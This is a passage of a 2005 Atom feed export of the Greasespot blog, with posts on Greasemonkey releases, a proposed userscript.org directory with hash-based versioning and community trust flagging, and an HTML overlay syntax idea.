that:&lt;br /&gt;&lt;br /&gt;a) We should be able to roll out new releases of GM much faster now&lt;br /&gt;b) There's a cool little download counter&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-111661438748857394?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/111661438748857394/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=111661438748857394' title='41 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/111661438748857394'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/111661438748857394'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2005/05/greasemonkey-on-addonsmozillaorg.html' title='Greasemonkey on addons.mozilla.org'/><author><name>boots</name><uri>http://www.blogger.com/profile/03885281513124696960</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://farm1.static.flickr.com/46/183719869_55f8ff0dfc.jpg?v=0'/></author><thr:total>41</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-111643085035856831</id><published>2005-05-18T08:31:00.000-07:00</published><updated>2005-05-18T08:45:09.556-07:00</updated><title type='text'>More obvious user script alterations?</title><content type='html'>&lt;p&gt;Rael made a pretty high-profile &lt;a href="http://radar.oreilly.com/archives/2005/05/google_has_deli.html"&gt;mistake&lt;/a&gt; in posting that Google had added delicious tags to its results page. It turns out that these tags were supplied by the &lt;a href="http://ponderer.org/annotate_google_redux"&gt;Annotate Google&lt;/a&gt; user script, which he'd installed and forgotten.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;He raises the point that the user-writable web is likely to raise more such issues:&lt;/p&gt;&lt;blockquote&gt;While I'm as much a fan of the writeable and rewriteable Web as anyone..., is&lt;br /&gt;that cute little Greasemonkey in the bottom-right corner of my browser&lt;br /&gt;notification enough? (Apparently not.) &lt;/blockquote&gt;&lt;p&gt;Point taken. But is this something that should be solved by more obvious changes, or by more awareness of the augmented web? I don't expect my email client to show the same contacts as Rael's. Why should I expect my search results to be the same as Rael's?&lt;/p&gt;&lt;p&gt;OK, it's a stretch, but maybe we can agree that if the augmented web continues to become more popular, this becomes a non-issue.&lt;/p&gt;&lt;p&gt;If we can't agree on that, how could the augmentations be made more obvious? Mouseover'd aura element borders? A monkey icon that smiles more largely when scripts have been injected? A siren that sounds when you've forgotten, again, that this page is augmented?&lt;/p&gt;&lt;p&gt;That last one may be a bit annoying.&lt;/p&gt;&lt;p&gt;Suggestions? Comments welcome, or send 'em to the &lt;a href="http://greasemonkey.mozdev.org/list.html"&gt;list&lt;/a&gt;.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-111643085035856831?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/111643085035856831/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=111643085035856831' title='45 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/111643085035856831'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/111643085035856831'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2005/05/more-obvious-user-script-alterations.html' title='More obvious user script alterations?'/><author><name>Jeremy Dunck</name><uri>http://www.blogger.com/profile/00539478892335210132</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>45</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-111627326741212376</id><published>2005-05-16T12:52:00.000-07:00</published><updated>2005-05-16T12:55:52.290-07:00</updated><title type='text'>Slashdot (ouch)</title><content type='html'>Apologies for the downtime and slow responses experienced on the &lt;a href="http://dunck.us/collab/GreaseMonkeyUserScripts"&gt;script directory&lt;/a&gt; and &lt;a href="http://greasemonkey.mozdev.org"&gt;home page&lt;/a&gt;.  &lt;a href="http://diveintogreasemonkey.org/"&gt;DiG&lt;/a&gt; warranted a &lt;a href="http://developers.slashdot.org/developers/05/05/16/0052245.shtml?tid=95&amp;tid=154&amp;tid=156&amp;tid=1"&gt;Slashdot post&lt;/a&gt;, and we're all hurting.  Except for DiG.  Mark was prepared, of course.&lt;br /&gt;&lt;br /&gt;Anyway, uh, this is temporary.  Probably.  ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-111627326741212376?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/111627326741212376/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=111627326741212376' title='22 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/111627326741212376'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/111627326741212376'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2005/05/slashdot-ouch.html' title='Slashdot (ouch)'/><author><name>Jeremy Dunck</name><uri>http://www.blogger.com/profile/00539478892335210132</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>22</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-111617551079663692</id><published>2005-05-15T09:44:00.000-07:00</published><updated>2005-05-15T09:45:10.803-07:00</updated><title type='text'>0.3.3 (not beta)</title><content type='html'>Seems stable enough, so let's call it that. &lt;a href="http://greasemonkey.mozdev.org/changes/0.3.3.html"&gt;Booya&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-111617551079663692?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/111617551079663692/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=111617551079663692' title='49 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/111617551079663692'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/111617551079663692'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2005/05/033-not-beta.html' title='0.3.3 (not beta)'/><author><name>boots</name><uri>http://www.blogger.com/profile/03885281513124696960</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://farm1.static.flickr.com/46/183719869_55f8ff0dfc.jpg?v=0'/></author><thr:total>49</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-111578435357006985</id><published>2005-05-10T21:03:00.000-07:00</published><updated>2005-05-10T21:05:53.620-07:00</updated><title type='text'>Greasemonkey 0.3.3 (beta)</title><content type='html'>No big changes over 0.3b.  The main news is that it should work for the latest aviary (soon to be 1.0.4).  Still working on latest trunk fix.  Sowwy.&lt;br /&gt;&lt;br /&gt;Details &lt;a href="http://greasemonkey.mozdev.org/changes/0.3.3.html"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Since mozdev takes a while to propogate mirrors, you can also try getting it &lt;a href="http://www.mozdev.org/pipermail/greasemonkey/2005-May/002060.html"&gt;here&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-111578435357006985?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/111578435357006985/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=111578435357006985' title='22 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/111578435357006985'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/111578435357006985'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2005/05/greasemonkey-033-beta.html' title='Greasemonkey 0.3.3 (beta)'/><author><name>Jeremy Dunck</name><uri>http://www.blogger.com/profile/00539478892335210132</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>22</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-111573741018329972</id><published>2005-05-10T07:59:00.000-07:00</published><updated>2005-05-10T12:34:12.170-07:00</updated><title type='text'>Dive into Greasemonkey</title><content type='html'>If you're interested in Greasemonkey, you'll be interested in this: &lt;a href="http://diveintogreasemonkey.org/"&gt;Dive into Greasemonkey&lt;/a&gt;, another fine publication by &lt;a href="http://diveintomark.org"&gt;Mark Pilgrim&lt;/a&gt;, whose enthusiasm Greasemonkey has benefitted from greatly.&lt;br /&gt;&lt;br /&gt;Dive into Greasemonkey is&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Patterns&lt;/li&gt;&lt;li&gt;Case studies&lt;/li&gt;&lt;li&gt;API reference&lt;/li&gt;&lt;li&gt;Screencasts&lt;/li&gt;&lt;li&gt;GPL-licensed&lt;/li&gt;&lt;/ul&gt;It's also excellent, and includes the latest features. If you'd like to know something about coding for Greasemonkey it's there. If you'd like to evangelize Greasemonkey to someone else, it's there. If you'd like to learn how to use Greasemonkey, it's there.&lt;br /&gt;&lt;br /&gt;Fully buzzword compliant, just the right length.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-111573741018329972?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/111573741018329972/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=111573741018329972' title='20 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/111573741018329972'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/111573741018329972'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2005/05/dive-into-greasemonkey.html' title='Dive into Greasemonkey'/><author><name>Jeremy Dunck</name><uri>http://www.blogger.com/profile/00539478892335210132</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>20</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-111437562486805641</id><published>2005-04-24T13:41:00.000-07:00</published><updated>2005-05-02T14:13:12.483-07:00</updated><title type='text'>Book Burro</title><content type='html'>&lt;a href="http://overstimulate.com/articles/2005/04/24/greasemonkey-book-burro-find-cheap-books"&gt;Book Burro&lt;/a&gt; is wonderfully done work. Not only does it work well, but it's actually very visually pleasing (to my eyes, anyway). The only thing I find myself wanting is the ability to drag it around, but that's pretty minor.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-111437562486805641?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/111437562486805641/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=111437562486805641' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/111437562486805641'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/111437562486805641'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2005/04/book-burro.html' title='Book Burro'/><author><name>boots</name><uri>http://www.blogger.com/profile/03885281513124696960</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://farm1.static.flickr.com/46/183719869_55f8ff0dfc.jpg?v=0'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-111437518676066610</id><published>2005-04-24T13:37:00.000-07:00</published><updated>2005-04-24T13:47:43.353-07:00</updated><title type='text'>Wiki Footer Fixer</title><content type='html'>Funny: Carlo Zottman, author of &lt;a href="http://docs.g-blog.net/code/greasemonkey/"&gt;many user scripts indeed&lt;/a&gt; has added to the wiki what may be his best work yet: a &lt;a href="http://docs.g-blog.net/code/greasemonkey/greasemonkey_wiki_footer.user.js"&gt;greasemonkey script that modifies the greasemonkey wiki&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-111437518676066610?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/111437518676066610/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=111437518676066610' title='23 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/111437518676066610'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/111437518676066610'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2005/04/wiki-footer-fixer.html' title='Wiki Footer Fixer'/><author><name>boots</name><uri>http://www.blogger.com/profile/03885281513124696960</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://farm1.static.flickr.com/46/183719869_55f8ff0dfc.jpg?v=0'/></author><thr:total>23</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-111428028017495428</id><published>2005-04-23T11:11:00.000-07:00</published><updated>2005-04-24T08:07:48.953-07:00</updated><title type='text'>Greasemonkey 0.3b Beta</title><content type='html'>&lt;span style="font-weight: bold;"&gt;Update:&lt;/span&gt; The XPI I posted was a) corrupted and b) not able to be served from youngpup.net (the classic XPI/mimetype issue). Sorry about the false start. Reposting now to mozdev.org. Will update again here when it is available.&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;br /&gt;If you like living on the edge, you may want to &lt;a href="http://greasemonkey.mozdev.org/changes/0.3b.html"&gt;try out Greasemonkey 0.3b Beta&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;The most noticeable user improvement is the addition of an "edit" button in the manage dialog and a little greasemonkey icon in the bottom right of the screen that you can use to disable GM quickly. Also, we now work on FF 1.0.3. Under the covers, developers now have access to GM_setValue and GM_getValue for persistent storage.&lt;br /&gt;&lt;br /&gt;If you decide to try this version, please be aware that there is a pretty significant config migration that happens the first time it runs. You may want to back up your existing configuration before installing. Check the &lt;a href="http://dunck.us/collab/GreaseMonkeyFaq"&gt;FAQ&lt;/a&gt; for details on where to find it.&lt;br /&gt;&lt;br /&gt;As always, please report your bugs here, or on the &lt;a href="http://greasemonkey.mozdev.org/list.html"&gt;mailing list&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-111428028017495428?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/111428028017495428/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=111428028017495428' title='37 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/111428028017495428'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/111428028017495428'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2005/04/greasemonkey-03b-beta.html' title='Greasemonkey 0.3b Beta'/><author><name>boots</name><uri>http://www.blogger.com/profile/03885281513124696960</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://farm1.static.flickr.com/46/183719869_55f8ff0dfc.jpg?v=0'/></author><thr:total>37</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-111324518307568706</id><published>2005-04-11T11:27:00.000-07:00</published><updated>2005-04-11T11:46:23.076-07:00</updated><title type='text'>Miscellaneous</title><content type='html'>Raddest user script yet: &lt;a href="http://brevity.org/code/mozilla/greasemonkey/lickr/"&gt;Lickr&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Jon Udell &lt;a href="http://weblog.infoworld.com/udell/2005/04/11.html"&gt;uses&lt;/a&gt; Greasemonkey as a DDOS platform ;-). Please be considerate with how much traffic you generate with scripts; the last thing we want is people seriously looking for ways to block GM.&lt;br /&gt;&lt;br /&gt;More interestingly, he laments:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;"there are two aspects of [writing greasemonkey scripts] that feel antiquated. One is groveling around inside Web pages -- in this case, the Bloglines and del.icio.us citation pages -- using regular expressions. The other is groveling around inside the DOM (document object model) of the page into which you're inserting instrumentation."&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;I cannot help with the former; that is up to web service operators to provide reasonable interfaces. On the second, what we really want is &lt;a href="http://disruptive-innovations.com/zoo/20040830/HTMLoverlays.html"&gt;HTML overlays&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Were there no legacy concerns, the syntax might ideally look something like this:&lt;br /&gt;&lt;br /&gt;&amp;lt;overlay insertbefore="/foo/bar[@monkey]"&amp;gt;&lt;br /&gt;   &amp;lt;div&amp;gt;&lt;br /&gt;     ... your html, css, javascript here ...&lt;br /&gt;   &amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;/overlay&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;overlay replace="//a"&amp;gt;&lt;br /&gt;  ... do something to all hyperlinks here ...&lt;br /&gt;&amp;lt;/overlay&amp;gt;&lt;br /&gt;&lt;br /&gt;Clearly, this hasn't been totally thought out. But usually what people are doing in greasemonkey is adding, modifying, or replacing HTML. This might be easier to do with a declarative language, like, say, HTML.&lt;br /&gt;&lt;br /&gt;Of course, there's nothing stopping you from doing this:&lt;br /&gt;&lt;br /&gt;&amp;lt;overlay insertafter="/html/body"&amp;gt;&lt;br /&gt;  &amp;lt;script language="javascript"&amp;gt;&lt;br /&gt;    regular GM type code here...&lt;br /&gt;  &amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;/overlay&amp;gt;&lt;br /&gt;&lt;br /&gt;... which just shows that this would essentially be a superset of current GM functionality.&lt;br /&gt;&lt;br /&gt;What do people think of this? I see several problems, myself:&lt;br /&gt;&lt;br /&gt;a) Implementing some of these overlay commands may require loading the entire DOM somewhere offline, pre-render, manipulating it, then feeding it to the renderer. This kills the progressive loading that browsers use to make page loading seem faster. It also sounds really, really hard. It would be easier to use regular expressions, instead of XPath, but that feels pretty hacky.&lt;br /&gt;&lt;br /&gt;b) This model seems to conflict with one of GMs major current features, that it doesn't make visible markup changes to things like rich text editors. Maybe this could be gotten around by special casing RTE's and not running GM on them.&lt;br /&gt;&lt;br /&gt;c) Somebody will undoubtebly say that I'm overthinking things.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-111324518307568706?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/111324518307568706/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=111324518307568706' title='24 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/111324518307568706'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/111324518307568706'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2005/04/miscellaneous.html' title='Miscellaneous'/><author><name>boots</name><uri>http://www.blogger.com/profile/03885281513124696960</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://farm1.static.flickr.com/46/183719869_55f8ff0dfc.jpg?v=0'/></author><thr:total>24</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-111297008971151388</id><published>2005-04-08T07:20:00.000-07:00</published><updated>2005-04-08T07:30:16.320-07:00</updated><title type='text'>Userscript.org</title><content type='html'>I posted something very like this to the mailing list, but I wanted it to get out to more people for consideration.&lt;br /&gt;&lt;br /&gt;So far, &lt;a href="http://greasemonkey.mozdev.org/"&gt;Greasemonkey&lt;/a&gt; has gotten by with a &lt;a href="http://dunck.us/collab/GreaseMonkeyUserScripts"&gt;wiki page&lt;/a&gt;, but it's quickly outgrowing that.&lt;br /&gt;&lt;br /&gt;So I'm starting to work on a new user script directory, which will live over on &lt;a href="http://userscript.org"&gt;userscript.org&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;I'm interested in input on how I'm planning to do this (or if someone would like to help).  If you think I'm doing something wrong, please convince me.  &lt;br /&gt;&lt;br /&gt;To set the stage, here are the goals I'm attempting to address:&lt;br /&gt;&lt;ol&gt;&lt;br /&gt;&lt;li&gt; Provide versioning and update notification.&lt;/li&gt;&lt;br /&gt;&lt;li&gt; Improve ability to judge trustworthiness of scripts                   &lt;/li&gt;&lt;br /&gt;&lt;li&gt; Provide an easy way to find user scripts.                             &lt;/li&gt;&lt;br /&gt;&lt;li&gt; Encourage sharing of scripts.                                         &lt;/li&gt;&lt;br /&gt;&lt;li&gt; Provide a home for the idea of user scripts, including other browsers.&lt;/li&gt;&lt;br /&gt;&lt;/ol&gt;&lt;br /&gt;That's all fairly ambitious, so I'll be reluctant to take on new goals.&lt;br /&gt;&lt;br /&gt;In order to serve goals 1-4, the directory will need to discover scripts, and regular spidering won't be very useful, I think, because there are relatively few user scripts, and I'm not sure how to go about finding good sources of scripts.  &lt;br /&gt;&lt;br /&gt;(Well, there are obvious things like checking domains you've found them on before, and taking outbound links from those sites if url like *user.js, but even so...)&lt;br /&gt;&lt;br /&gt;I think using delicious for discovery is a pretty easy win, because people will tag for Greasemonkey if it's useful, and delicious is useful as a directory to start with, and we can seed the tagging with quite a number of scripts already.&lt;br /&gt;&lt;br /&gt;Of course the directory will allow form-post submission of a URL to a script so that authors can have a more direct way of discovery.&lt;br /&gt;&lt;br /&gt;So assume we've got a directory and it has lots of scripts and no trouble finding more.&lt;br /&gt;&lt;br /&gt;I plan on managing versioning as follows: once a script has been discovered, it will be hashed, and this hash will be the basis for differentiating the originally retrieved script from any later version.  Scripts in the directory will be periodically retrieved, and changes in hashes will create new versions in the directory.&lt;br /&gt;&lt;br /&gt;Why take this route over allowing (read: requiring) authors to explicitly version?  &lt;br /&gt;&lt;br /&gt;1) Because this versioning is meant to allow not just for update notification, but also for assignment of trust.  A popular script that has not changed in a month is very likely trustworthy, but once a new version is published, all bets are off.  If the author controlled the versioning as well as the script, there'd be no basis for trust.&lt;br /&gt;&lt;br /&gt;2) Because authors won't consistently version their own scripts.  User script authoring is meant to be relatively fluid and lightweight, and making backups and renaming and re-versioning is a bunch of overhead when the author just wants to spend a couple seconds fixing a bug.&lt;br /&gt;&lt;br /&gt;So assume we have a directory with scripts and versioning.  With this, we can provide update notification.  Syndication seems the obvious choice; it's lightweight, and people interested in Greasemonkey are very likely to use it.  I suppose we could also do email notification, but, well, I don't know much about administering a mail server or mailing list software.&lt;br /&gt;&lt;br /&gt;So the user's been notified that there is a new script he may be interested in.  How does she know whether its OK to install?  There've been suggestions that sand boxing user scripts would be good, and breathless descriptions of how this is the end of e-commerce (OK, that's a small hyperbole).  &lt;br /&gt;&lt;br /&gt;(Thanks to &lt;a href="http://holovaty.com/"&gt;Adrian Holovaty&lt;/a&gt; for pointing out that Craigslist has this problem and has proven that a community review process is all you really need to keep bad things from happening.)&lt;br /&gt;&lt;br /&gt;I think generally people will be interested in controlling this problem, and keeping stuff completely safe is sort of an impossible goal.  All you can hope for is to keep things from going off the rails and exposing lots of people to rude things.  We'll have people using these scripts, and some of them will peek under the hood, and some of -them- will notice that the script is doing rude things.  These people should be able to flag scripts as evil, and a trusted group (perhaps recruited on the basis of correct flagging) will review a queue of flagged scripts.  Anything sufficiently flagged (what's sufficient?  I dunno) will be unavailable in the directory until it's reviewed.  Anything that's been reviewed and has the Good Webkeeping seal of approval will be exempt from flagging (or have a higher threshold, or something complicated).  Things reviewed and found to be evil will be banished from the directory, along with the IP subnet and country of author.  OK, maybe just the script.&lt;br /&gt;&lt;br /&gt;Along the same lines, I'd like to have a flag that says "doesn't work", and eventually, I'd like this to be integrated in GM's client so that when people say something doesn't work, we can have a list of injected scripts for clues as to script compatibility problems (because that really is a problem, and it's only going to get worse).  &lt;br /&gt;&lt;br /&gt;Further along trust lines, there's also the idea that a script that's been out unchanged a while and followed out and unflagged is probably a good and Good script, so those scripts might get some bonus in ranking.  Which leads us into actually finding the script you're looking for.&lt;br /&gt;&lt;br /&gt;There'll be full text search (so you can see how people are using GM_* functions or find a script through a comment), there'll be header search (show all scripts which match URL x, or have name y, etc).  There'll also be a tag search, which will just use delicious' tags.  &lt;br /&gt;&lt;br /&gt;So now you've got some search results.  They'll be ranked by number of delicious links to start with, and maybe that'll be good enough.  If not, we can throw in trust or search noise, or something else complicated.&lt;br /&gt;&lt;br /&gt;Also, particular script versions will be available off of stable URLs on the directory.  The search results will take you to the original publishing location, but if your favorite ~user/script goes down, the directory will still be there.  I haven't decided what the stable URL should look like.  /root/namespace/userscript seems obvious, but of course, lots of people aren't setting their namespaces, so who knows.  I also plan to have all versions available, so that if /root/namespace/userscript is current, then /root/namespace/userscript/20050110-164502 was the script as of that date and time (and it'll use the normal W3 &lt;a href="http://www.w3.org/TR/NOTE-datetime"&gt;date format&lt;/a&gt;, of course).  I dunno, maybe this isn't version 1 stuff, but I think it'd be useful to see evolutions or to have a stable pointer for some discussion and such.&lt;br /&gt;&lt;br /&gt;That about does it for goals 1-3.  But assume you're a script author, and you'd like to share your script.  You just post it on your site (Or submit it to the directory for hosting?  This might get complicated.)  Everyone knows where to find user scripts, so it's way out there, even if you're not an A-lister.  And if you change something, everyone that wanted to know will know.&lt;br /&gt;&lt;br /&gt;Another benefit of the hash approach is that the GM client could some day support auto update by hashing its installed script and asking the directory for any updates.&lt;br /&gt;&lt;br /&gt;We also have a situation where authors modify functionality of scripts after publishing (say, to support UPS tracking after publishing a FedEx-only linker), and an accidental benefit of the wiki has been that script authors could say what changed easily.  I'd like a @longdesc so that script authors could write a book (like this one!) about how great their user script is, and the directory would scrape this so that updated functionality just shows up in search.&lt;br /&gt;&lt;br /&gt;That's up to goal 4.&lt;br /&gt;&lt;br /&gt;Goal 5 is a bit broader, but I'm pretty stoked to see user scripts in Opera and IE.  Safari already had Pith Helmet, and we apparently didn't inspire Opera, but I don't care.  I just want user scripts to be useful and for them to spread, so I'd like to do what we can to provide a home for user scripts in general, and help other projects that don't have mozdev and mozillazine to help them with hosting and community.  userscript.org will start out GM-only, but I hope that changes.&lt;br /&gt;&lt;br /&gt;This last one is months or longer out, but it seems worth doing, and I'd like to do it.&lt;br /&gt;&lt;br /&gt;Of course I don't plan on doing all this stuff before putting something out there, and I hope you readers will tell me what I'm doing wrong, but this is the general direction I'm headed.&lt;br /&gt;&lt;br /&gt;If anyone got to the end, congrats, and please take a few more minutes to tell me how this could better, but please keep the goals listed above in mind.&lt;br /&gt;&lt;br /&gt;P.S. There's already been useful discussion on the mailing list.  If you're interested in this stuff, I recommend you join.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-111297008971151388?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/111297008971151388/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=111297008971151388' title='27 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/111297008971151388'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/111297008971151388'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2005/04/userscriptorg.html' title='Userscript.org'/><author><name>Jeremy Dunck</name><uri>http://www.blogger.com/profile/00539478892335210132</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>27</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-111227967878455273</id><published>2005-03-31T06:34:00.000-08:00</published><updated>2005-03-31T06:35:43.730-08:00</updated><title type='text'>GreasemonkIE: user scripts for IE</title><content type='html'>I'm telling you, this user script thing is, err, useful.&lt;br /&gt;&lt;br /&gt;Todd Ostermeier has gone and &lt;a href="http://www.daishar.com/blog/archives/2005/03/greasemonkey_fo.html"&gt;implemented&lt;/a&gt; a user scripting host for IE.&lt;br /&gt;&lt;br /&gt;It's a little shaky so far, but it's fantastic to see the hackable web spreading to the other 80(?)% of desktops.&lt;br /&gt;&lt;br /&gt;Thanks, Todd!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-111227967878455273?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/111227967878455273/comments/default' title='Post 